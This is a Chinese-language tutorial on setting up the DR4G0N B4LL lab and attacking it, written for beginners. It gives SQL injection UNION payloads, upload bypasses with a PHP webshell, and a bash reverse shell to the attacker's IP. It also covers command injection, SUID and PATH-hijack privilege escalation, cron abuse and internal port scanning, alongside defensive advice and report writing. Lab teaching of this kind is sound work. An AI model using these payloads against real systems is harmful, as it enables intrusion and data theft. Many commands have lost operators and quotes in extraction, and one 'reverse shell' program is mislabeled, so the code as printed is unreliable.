从零搭建渗透测试靶场:DR4G0N B4LL实战与Web漏洞攻防解析 1. 项目概述从零开始的渗透测试初体验如果你对“渗透测试”这个词感到既神秘又向往觉得它离自己很遥远那么今天这个项目就是为你准备的。我以一个过来人的身份告诉你网络安全的学习路径上第一个真正能让你“动起手来”的环节往往就是在一个安全可控的环境里对一个预设好的目标进行模拟攻击。这个环境我们称之为“靶场”。而“DR4G0N B4LL”靶场就是一个非常适合零基础新手迈出第一步的经典选择。它不像一些复杂的综合靶场那样让人望而生畏而是将几个最基础、最核心的Web安全漏洞以一种清晰、独立的方式呈现出来让你能够专注于理解漏洞原理和攻击手法本身。简单来说这次“复现”的目标就是在一个完全由我们自己搭建的虚拟实验室里启动DR4G0N B4LL靶场然后像一名安全研究员或者叫“白帽子”一样去发现并利用其中的安全漏洞最终拿到系统权限或关键信息通常以“flag”的形式存在。这个过程就是一次微缩版的渗透测试实战。它不涉及任何真实的、非授权的系统所有操作都在你自己的电脑虚拟机中进行绝对合法且安全。通过亲手完成它你不仅能破除对“黑客技术”的玄学想象更能建立起对SQL注入、文件上传、命令执行等基础漏洞最直观、最深刻的理解。这比你读十篇理论文章都管用。2. 环境搭建与靶场部署详解动手之前我们需要一个干净的实验环境。直接在自己的主力电脑上搞这些是不明智的因为可能会安装各种工具、修改系统配置甚至可能因为操作失误影响系统稳定性。因此虚拟化技术是我们的首选。这里我强烈推荐使用VMware Workstation Player个人免费版或VirtualBox。两者都是成熟的虚拟机软件功能上对于我们的学习需求来说大同小异VMware在性能和兼容性上通常更胜一筹。2.1 虚拟机与攻击机准备我们的实验环境通常由两部分组成攻击机和靶机。攻击机是我们发起渗透测试的操作平台上面集成了各种安全工具靶机则是我们模拟攻击的目标也就是运行DR4G0N B4LL靶场的系统。攻击机选择Kali Linux对于攻击机几乎没有第二个选择——Kali Linux。它是一个专为渗透测试和网络安全审计而生的Linux发行版预装了数百种安全工具从信息收集、漏洞扫描到漏洞利用、密码破解一应俱全。你不需要再费心去一个个安装配置工具开箱即用。注意请务必从Kali Linux官方网站下载镜像文件。网络上流传的某些“绿色版”、“便携版”可能被植入恶意代码安全性无法保证。使用正版镜像是对自己学习环境安全的基本负责。下载好Kali Linux的ISO镜像后在VMware中新建一台虚拟机。内存建议分配至少4GB2GB勉强能跑但会卡顿处理器核心数2个硬盘空间40GB以上。网络连接模式选择“NAT模式”即可这样虚拟机能通过宿主机上网又处于一个相对独立的网络环境中。安装过程基本是图形化点击下一步设置好用户名密码务必记住等待安装完成。首次进入系统后第一件事是打开终端执行sudo apt update sudo apt upgrade -y来更新系统到最新状态确保所有工具都是最新版本。靶机系统选择Ubuntu靶机我们选择Ubuntu Server。为什么不用带图形界面的桌面版因为服务器通常都是无图形界面的用命令行操作更能模拟真实环境。而且服务器版更轻量节省资源。同样从Ubuntu官网下载最新的LTS版本Server ISO镜像。在VMware中再新建一台虚拟机专门用于运行靶场。配置可以稍低一些内存2GB处理器1-2核硬盘20GB。网络连接模式这里有个关键点必须和Kali Linux虚拟机设置在同一个虚拟网络例如都使用“VMnet8”NAT网络这样两台虚拟机才能相互通信。你可以在VMware的“虚拟网络编辑器”中查看和确认。安装Ubuntu Server时在软件选择步骤只勾选“OpenSSH server”其他一概不选保持最精简。这样安装出来的就是一个纯净的、可以通过SSH远程管理的Linux服务器。2.2 靶场部署实战步骤假设我们的Kali Linux攻击机IP是192.168.1.100Ubuntu靶机IP是192.168.1.101。首先我们需要从Kali上连接到靶机进行配置。连接靶机在Kali Linux终端中使用SSH连接靶机。命令是ssh username192.168.1.101输入你在安装Ubuntu时设置的密码。安装必要环境靶场通常是一个Web应用我们需要安装Web服务器如Apache或Nginx、数据库如MySQL或MariaDB和PHP。一条命令搞定基础环境sudo apt update sudo apt install apache2 mariadb-server php libapache2-mod-php php-mysql -y安装完成后启动服务并设为开机自启sudo systemctl start apache2 mariadb sudo systemctl enable apache2 mariadb下载与部署DR4G0N B4LL我们需要找到DR4G0N B4LL靶场的源码。它可能托管在GitHub等代码平台。我们可以直接在靶机上用git克隆或者先在宿主机下载再传过去。这里以git为例如果靶机没装git先运行sudo apt install git -ycd /var/www/html # Apache的默认Web根目录 sudo git clone [靶场源码的Git仓库地址] . # 注意最后的点表示克隆到当前目录 # 如果克隆地址未知你可能需要手动寻找并下载ZIP包然后解压到此目录由于靶场具体源码地址可能变化你需要根据当时的实际情况搜索“DR4G0N B4LL GitHub”来找到正确的仓库。这是一个重要的信息搜集能力锻炼。配置数据库大多数Web靶场都需要数据库支持。我们需要登录MariaDB为靶场创建一个专用的数据库和用户。sudo mysql -u root # 初始MariaDB的root用户无密码直接回车进入在MySQL命令行中执行CREATE DATABASE drag0nball; -- 创建数据库 CREATE USER dbuserlocalhost IDENTIFIED BY YourStrongPassword123!; -- 创建用户 GRANT ALL PRIVILEGES ON drag0nball.* TO dbuserlocalhost; -- 授权 FLUSH PRIVILEGES; -- 刷新权限 EXIT; -- 退出然后通常靶场会提供一个SQL文件如setup.sql或database.sql来初始化数据表。你需要找到这个文件并导入sudo mysql -u root drag0nball /var/www/html/setup.sql修改Web应用配置靶场的源码里通常会有一个配置文件如config.php、database.php你需要用编辑器如nano打开它修改其中的数据库连接信息使其指向你刚刚创建的数据库和用户。sudo nano /var/www/html/config.php找到类似DB_HOST,DB_USER,DB_PASS,DB_NAME的配置项修改为localhost,dbuser,YourStrongPassword123!,drag0nball。调整文件权限确保Web服务器www-data用户有权限读取和写入必要的文件。sudo chown -R www-data:www-data /var/www/html/ sudo chmod -R 755 /var/www/html/访问验证最后在Kali Linux的攻击机上打开浏览器输入靶机的IP地址http://192.168.1.101。如果看到DR4G0N B4LL靶场的首页恭喜你环境搭建成功实操心得部署环节是新手遇到的第一个“拦路虎”错误百出是常态。关键是要学会看报错信息。如果页面显示“数据库连接错误”就回头检查数据库服务是否启动、配置文件的密码是否正确、数据库用户权限是否授予。如果显示“404 Not Found”检查文件是否放对了位置/var/www/html/。学会根据错误信息定位问题是渗透测试乃至所有IT工作的核心能力之一。3. 信息收集与漏洞侦察手法在真正开始“攻击”之前专业的渗透测试有超过60%的时间花在信息收集上。知己知彼百战不殆。对于我们的靶场信息收集主要是搞清楚这个Web应用的结构、用了什么技术、可能存在哪些入口点。3.1 基础信息枚举首先从浏览器直接访问靶场手动点击每一个链接、按钮观察URL的变化、页面的响应、有无错误信息泄露。这是最直接的方式。然后使用Kali Linux自带的工具进行自动化侦察目录/文件扫描使用gobuster或dirb工具暴力猜解靶场上可能存在的隐藏目录或敏感文件如/admin、/backup、/config.php.bak、/robots.txt。gobuster dir -u http://192.168.1.101 -w /usr/share/wordlists/dirb/common.txt -t 50这个命令使用一个常见的目录字典对目标网站进行扫描。-t 50指定50个线程加快速度。扫描结果可能会发现一些设计时未链接的页面比如管理后台登录口。子域名枚举针对真实域名由于我们的靶场是IP直接访问这一步略过。但在真实场景中收集目标的子域名如dev.example.commail.example.com至关重要。技术栈指纹识别使用whatweb或浏览器插件如 Wappalyzer来识别网站使用的技术。whatweb http://192.168.1.101 -v它会输出服务器类型Apache/nginx、编程语言PHP版本、前端框架jQuery、甚至可能存在的已知漏洞的组件信息。知道对方用PHP 5.6和用PHP 8.1后续的攻击思路可能完全不同。3.2 端口与服务探测虽然靶场主要是Web应用但探测靶机开放的其他端口有时能发现意外之喜比如一个未授权访问的Redis服务或者一个存在漏洞的SSH服务。使用nmap这个“端口扫描之王”nmap -sV -sC -O 192.168.1.101-sV: 探测端口上运行的服务及其版本。-sC: 使用默认的Nmap脚本进行更深入的侦察可能会发现一些默认配置漏洞。-O: 尝试识别靶机的操作系统。扫描结果可能显示开放了22(SSH), 80(HTTP), 3306(MySQL)等端口。对于MySQL端口如果发现它对外开放真实环境中很危险我们可以尝试弱口令爆破。但在我们这个靶场环境里MySQL通常只允许本地访问localhost所以重点还是80端口的Web服务。注意事项信息收集阶段一定要细致并做好记录。我习惯用Obsidian或简单的文本文件记录下每个发现的URL、参数、技术特征、可能的漏洞点。这个笔记在后续的渗透步骤中会成为你的导航图避免在复杂的测试中迷失方向。4. 核心漏洞原理与利用实战DR4G0N B4LL这类基础靶场通常会包含OWASP Top 10中最经典的几种漏洞。我们逐一拆解其原理和利用方法。4.1 SQL注入漏洞攻防解析SQL注入SQL Injection绝对是Web安全的“头号杀手”原理简单但危害极大。它发生在Web应用将用户输入的数据未经充分检查或转义直接拼接到SQL查询语句中执行时。漏洞原理 假设一个登录页面的后端PHP代码是这样写的$sql SELECT * FROM users WHERE username . $_POST[username] . AND password . md5($_POST[password]) . ;如果用户在用户名框输入admin --那么拼接后的SQL语句就变成了SELECT * FROM users WHERE username admin -- AND password ...--在SQL中是注释符它后面的内容都被忽略。于是这条语句就变成了“查找用户名为admin的用户”完全绕过了密码验证实战利用寻找注入点在靶场的任何输入框、搜索框、URL参数如?id1中尝试输入一个单引号。如果页面返回数据库错误如“You have an error in your SQL syntax”那么这里很可能存在SQL注入。判断注入类型输入1 and 11和1 and 12。如果前者返回正常页面后者返回异常或空说明是字符型注入。如果输入1 and 11和1 and 12有同样效果则是数字型注入。联合查询获取数据使用UNION SELECT语句来盗取数据库中的数据。首先需要判断查询的列数?id1 order by 1-- //正常 ?id1 order by 2-- //正常 ?id1 order by 3-- //报错说明查询列数为2然后使用联合查询将我们想获取的数据“拼接”到原查询结果中显示出来?id-1 union select 1, database()-- //获取当前数据库名 ?id-1 union select 1, group_concat(table_name) from information_schema.tables where table_schemadatabase()-- //获取所有表名 ?id-1 union select 1, group_concat(column_name) from information_schema.columns where table_nameusers-- //获取users表所有列名 ?id-1 union select username, password from users-- //最终获取用户名和密码如果密码是MD5哈希拿到后可以去在线破解网站如cmd5.com尝试破解。防御之道对于开发者而言根治SQL注入的方法就是使用“参数化查询”Prepared Statements或“ORM框架”。绝对不要直接拼接用户输入到SQL语句中。4.2 文件上传漏洞与WebShell获取文件上传漏洞允许攻击者上传一个可执行的脚本文件如PHP的WebShell到服务器从而获得远程命令执行的能力。漏洞原理Web应用在实现文件上传功能时如果只在前端用JavaScript检查文件扩展名或者在后端没有对文件内容、扩展名、MIME类型进行严格校验攻击者就可以上传一个伪装成图片的PHP脚本。实战利用寻找上传点靶场中可能会有头像上传、附件上传等功能。绕过前端校验如果只是前端JS校验直接禁用浏览器JS或者用Burp Suite拦截修改请求包即可绕过。绕过后端校验黑名单绕过如果服务器禁止上传.php可以尝试.php5,.phtml,.phps,.php7等或者利用操作系统特性如shell.php.Windows下末尾的点会被自动去除、shell.php%00.jpg利用截断漏洞旧版PHP。MIME类型绕过拦截上传请求将Content-Type: application/php修改为Content-Type: image/jpeg。文件内容绕过在PHP文件开头添加图片的文件头如GIF89a同时检查文件内容是否包含?php关键词。可以尝试使用短标签?或者用JavaScript、其他脚本语言编写WebShell。编写与利用WebShell最简单的PHP WebShell只有一行?php system($_GET[cmd]); ?将其保存为shell.php并上传。访问http://靶机地址/uploads/shell.php?cmdwhoami如果页面返回了服务器当前用户名如www-data那么恭喜你已经拿到了一个命令执行入口。提权与稳定控制通过WebShell执行命令可以尝试反弹一个更稳定的Shell回你的Kali。在Kali上监听一个端口nc -lvnp 4444然后在WebShell的URL中执行?cmdbash -c bash -i /dev/tcp/192.168.1.100/4444 01如果成功你会在Kali的终端看到一个来自靶机的交互式Shell操作起来比在URL里传命令方便得多。实操心得文件上传漏洞的利用成功与否很大程度上取决于你对服务器校验逻辑的猜测和测试。这是一个“猫鼠游戏”。上传成功后WebShell的存放路径是关键。多尝试常见路径如/uploads/、/images/、/assets/或者通过报错信息、目录扫描结果来寻找。4.3 命令执行与代码注入漏洞这类漏洞比SQL注入更直接它允许攻击者在服务器上直接执行操作系统命令或后端代码。漏洞原理Web应用将用户输入直接传递给系统命令执行函数如PHP的system()、exec()、passthru()或动态执行代码的函数如eval()且未做过滤。实战利用发现漏洞点常见于网络工具功能如“Ping测试”、“DNS查询”、“代码执行沙盒”等。你输入一个IP或域名后端会调用ping 你的输入。命令注入在输入中拼接其他命令。例如在Ping测试框输入8.8.8.8; whoami。分号;在Linux中用于分隔多条命令。如果后端直接拼接执行ping 8.8.8.8; whoami那么whoami命令也会被执行结果可能回显在页面上。 其他连接符后台执行前后命令都会执行。前一条命令执行成功才执行后一条。|管道符将前一条命令的输出作为后一条命令的输入。||前一条命令执行失败才执行后一条。代码注入如果遇到eval($_GET[code])这种“后门”式代码那几乎可以为所欲为。直接传递PHP代码即可?codephpinfo();或?codesystem(ls -la);。防御之道永远不要相信用户输入对于命令执行应使用白名单机制限定输入内容或使用安全的API替代直接调用系统命令如PHP的escapeshellarg()。对于代码执行绝对避免在生产环境中使用eval()等函数。5. 权限提升与内网渗透初探在基础靶场中拿到WebShellwww-data权限往往不是终点。www-data是Web服务进程的用户权限很低。我们的目标是获取最高权限root这个过程就叫“权限提升”Privilege Escalation简称提权。5.1 Linux系统提权常见路径内核漏洞提权这是最“暴力”直接的方式。通过执行uname -a查看系统内核版本然后搜索该版本是否存在公开的本地提权漏洞如Dirty Cow, CVE-2021-4034等。Kali中集成了searchsploit工具来搜索漏洞库。searchsploit linux kernel 3.13 ubuntu local找到对应的漏洞利用代码Exploit下载到靶机上编译执行。但要注意编译需要gcc等工具靶机可能没有。这时可以尝试在Kali上编译好再传到靶机。更稳妥的方法是使用那些已经编译好、或者用脚本语言如Python写的Exploit。重要警告在内网渗透或CTF比赛中可以尝试但在真实的授权渗透测试中利用内核漏洞提权风险极高可能导致系统崩溃必须谨慎评估并获得客户明确同意。SUID/GUID文件滥用SUIDSet User ID是一种特殊的文件权限它允许用户以文件所有者的权限来执行该文件。如果某个属于root且具有SUID权限的文件其功能可以被滥用就可能用来提权。# 在靶机Shell中查找具有SUID权限的文件 find / -perm -us -type f 2/dev/null常见的危险SUID程序包括find,vim,bash,nmap旧版本,more,less,nano等。例如如果find有SUID权限可以这样提权find . -exec /bin/bash -p \; # -p 参数会保留SUID权限启动的bash就是root shell环境变量劫持如果某个以root权限运行的程序如脚本或SUID程序调用了系统命令如ls、cat但没有使用绝对路径我们就可以通过修改环境变量PATH让它优先执行我们放在自定义目录下的恶意ls程序。# 1. 编写一个反弹shell的C程序命名为ls并编译 echo int main() { setuid(0); system(/bin/bash); } /tmp/ls.c gcc /tmp/ls.c -o /tmp/ls # 2. 添加执行权限 chmod x /tmp/ls # 3. 修改PATH环境变量 export PATH/tmp:$PATH # 4. 运行那个存在漏洞的SUID程序它调用“ls”时实际执行的是我们的恶意程序计划任务Cron Job检查系统计划任务看是否有以root权限定期运行的脚本且该脚本的权限允许我们修改或写入。crontab -l # 查看当前用户的计划任务 ls -la /etc/cron* # 查看系统计划任务目录 cat /etc/crontab如果发现一个root权限运行的脚本如/scripts/backup.sh并且我们对该脚本有写权限就可以修改它加入反弹shell的命令等待计划任务执行。5.2 内网信息收集与横向移动概念在真实的渗透测试中突破Web服务器DMZ区往往只是开始内部网络内网才是真正的宝藏。DR4G0N B4LL这类单机靶场可能不涉及复杂内网但了解基本概念至关重要。内网信息收集拿到一个内网机器的Shell后首先要摸清网络环境。ifconfig 或 ip a # 查看本机IP判断所在网段 netstat -antp 或 ss -antp # 查看网络连接发现与其他内网主机的通信 arp -a # 查看ARP缓存发现同一局域网的其他主机 cat /etc/hosts # 查看主机文件可能有其他服务器的主机名映射 cat /etc/resolv.conf # 查看DNS服务器可能是内网DNS端口扫描与服务发现使用轻量级工具对内网其他IP进行扫描。可以将nmap静态编译版上传到靶机或者使用更简单的netcat、bash脚本。# 简单的bash循环扫描22端口 for i in {1..254}; do timeout 1 bash -c echo /dev/tcp/192.168.1.$i/22 2/dev/null echo 192.168.1.$i:22 - Open; done横向移动发现内网其他主机后尝试用已获取的密码可能是数据库密码、Web后台密码通过密码复用进行SSH爆破或者利用这些主机上存在的相同漏洞比如所有服务器都用同一个有漏洞的CMS进行攻击。这就是所谓的“横向移动”。注意事项提权和内网渗透是渗透测试中技术含量最高、也最需要谨慎的部分。每一步操作都要考虑隐蔽性和对目标系统的影响。在靶场中可以大胆尝试各种方法但务必理解其原理和潜在风险。记录下每一步成功的命令和结果这对于后续撰写报告至关重要。6. 渗透测试报告撰写与总结反思渗透测试的终点不是拿到root权限而是输出一份专业的报告。报告的价值在于清晰地告知客户风险在哪里、有多严重、以及如何修复。这也是白帽子与黑帽子的本质区别之一。6.1 报告核心结构与内容一份基础的渗透测试报告应包含以下部分概述简述测试目标DR4G0N B4LL靶场、测试时间、测试人员、采用的方法黑盒测试。执行摘要用一两页的篇幅向管理层汇报最重要的发现。列出风险等级最高的几个漏洞如高危SQL注入导致数据库泄露中危文件上传导致远程代码执行并给出整体安全状况的定性结论。测试详情报告的主体。按漏洞类型或发现顺序详细描述每一个漏洞。漏洞标题如“1.1 用户登录处存在SQL注入漏洞”。风险等级高、中、低。漏洞位置具体的URL和参数如http://192.168.1.101/login.php的username参数。漏洞描述简明扼要说明这是什么漏洞。漏洞复现步骤像教程一样一步步展示如何利用这个漏洞。附上必要的截图和命令输出。漏洞证明最关键的部分。提供能证明漏洞存在的证据例如SQL注入展示通过union select获取数据库名、表名、用户数据的截图。文件上传展示上传的WebShell文件地址和访问执行whoami命令的截图。命令执行展示在输入框输入; cat /etc/passwd并成功回显系统用户列表的截图。漏洞危害阐述这个漏洞可能造成的具体影响如“可导致全站用户数据泄露”、“可获取服务器控制权”。修复建议给出具体、可操作的修复方案。例如SQL注入使用参数化查询Prepared Statements。文件上传使用白名单校验文件扩展名和MIME类型将上传文件存储在Web根目录之外重命名上传的文件。命令执行对用户输入进行严格的白名单过滤或使用安全的API。6.2 从复现到精通的思维转变完成一次靶场渗透绝不仅仅是跟着步骤走一遍。要想从“复现”走向“精通”你需要进行深度复盘多解思考同一个漏洞点是否有其他利用方式除了用union select做显注能不能用布尔盲注或时间盲注除了上传PHP WebShell能不能上传JSP、ASP的工具原理你用的sqlmap、nmap背后到底做了什么尝试不用自动化工具纯手工完成一次SQL注入你会对HTTP请求、参数拼接、结果解析有飞跃性的理解。防御绕过如果靶场增加了WAFWeb应用防火墙你的注入payload如何变形才能绕过学习常见的绕过技巧如大小写混淆、双重编码、注释符穿插、使用非常规函数等。搭建自己的靶场尝试手动在虚拟机中搭建一个存在漏洞的简单应用比如一个带登录功能的PHP页面故意不防SQL注入。从攻击者视角切换到开发者视角会让你对漏洞的产生和修复有更立体的认识。知识体系化将这次实战中学到的知识点归类到OWASP Top 10或MITRE ATTCK框架中。明白你这次攻击属于“初始访问”、“权限提升”等哪个战术阶段。网络安全的学习是一场漫长的马拉松DR4G0N B4LL靶场只是起点。它像一把钥匙为你打开了渗透测试实践的大门。门后的世界广阔而复杂充满了诸如跨站脚本XSS、跨站请求伪造CSRF、反序列化、逻辑漏洞等更多的挑战。保持好奇持续动手在合法的靶场和实验环境中不断锤炼你的技能同时永远铭记技术的双刃剑属性将你的能力用于建设与防御这才是这条道路真正的价值所在。